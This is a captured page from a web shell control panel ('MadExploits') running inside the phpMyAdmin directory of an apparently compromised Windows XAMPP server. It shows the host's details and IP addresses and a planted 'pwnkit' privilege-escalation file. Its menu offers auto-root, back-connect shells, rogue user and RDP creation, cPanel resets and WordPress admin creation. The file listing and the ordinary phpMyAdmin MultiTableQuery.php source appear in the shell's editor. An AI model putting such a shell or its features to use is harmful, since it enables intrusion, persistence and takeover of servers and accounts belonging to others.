Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 3.133.109.141
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
phpMyAdmin /
libraries /
classes /
Database /
[ HOME SHELL ]
Name
Size
Permission
Action
Designer
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
CentralColumns.php
35.74
KB
-rw-rw-rw-
DatabaseList.php
886
B
-rw-rw-rw-
Designer.php
15.19
KB
-rw-rw-rw-
Events.php
20.61
KB
-rw-rw-rw-
MultiTableQuery.php
3.37
KB
-rw-rw-rw-
Qbe.php
58.34
KB
-rw-rw-rw-
Routines.php
57.11
KB
-rw-rw-rw-
Search.php
9.35
KB
-rw-rw-rw-
Triggers.php
17.95
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MultiTableQuery.php
<?php /** * Handles DB Multi-table query */ declare(strict_types=1); namespace PhpMyAdmin\Database; use PhpMyAdmin\ConfigStorage\Relation; use PhpMyAdmin\ConfigStorage\RelationCleanup; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Operations; use PhpMyAdmin\ParseAnalyze; use PhpMyAdmin\Sql; use PhpMyAdmin\Template; use PhpMyAdmin\Transformations; use PhpMyAdmin\Url; use function array_keys; use function md5; /** * Class to handle database Multi-table querying */ class MultiTableQuery { /** * DatabaseInterface instance * * @var DatabaseInterface */ private $dbi; /** * Database name * * @var string */ private $db; /** * Default number of columns * * @var int */ private $defaultNoOfColumns; /** * Table names * * @var array */ private $tables; /** @var Template */ public $template; /** * @param DatabaseInterface $dbi DatabaseInterface instance * @param Template $template Template instance * @param string $dbName Database name * @param int $defaultNoOfColumns Default number of columns */ public function __construct( DatabaseInterface $dbi, Template $template, $dbName, $defaultNoOfColumns = 3 ) { $this->dbi = $dbi; $this->db = $dbName; $this->defaultNoOfColumns = $defaultNoOfColumns; $this->template = $template; $this->tables = $this->dbi->getTables($this->db); } /** * Get Multi-Table query page HTML * * @return string Multi-Table query page HTML */ public function getFormHtml() { $tables = []; foreach ($this->tables as $table) { $tables[$table]['hash'] = md5($table); $tables[$table]['columns'] = array_keys( $this->dbi->getColumns($this->db, $table) ); } return $this->template->render('database/multi_table_query/form', [ 'db' => $this->db, 'tables' => $tables, 'default_no_of_columns' => $this->defaultNoOfColumns, ]); } /** * Displays multi-table query results * * @param string $sqlQuery The query to parse * @param string $db The current database */ public static function displayResults($sqlQuery, $db): string { global $dbi; [, $db] = ParseAnalyze::sqlQuery($sqlQuery, $db); $goto = Url::getFromRoute('/database/multi-table-query'); $relation = new Relation($dbi); $sql = new Sql( $dbi, $relation, new RelationCleanup($dbi, $relation), new Operations($dbi, $relation), new Transformations(), new Template() ); return $sql->executeQueryAndSendQueryResponse( null, // analyzed_sql_results false, // is_gotofile $db, // db null, // table null, // find_real_end null, // sql_query_for_bookmark - see below null, // extra_data null, // message_to_show null, // sql_data $goto, // goto null, // disp_query null, // disp_message $sqlQuery, // sql_query null // complete_query ); } }
Close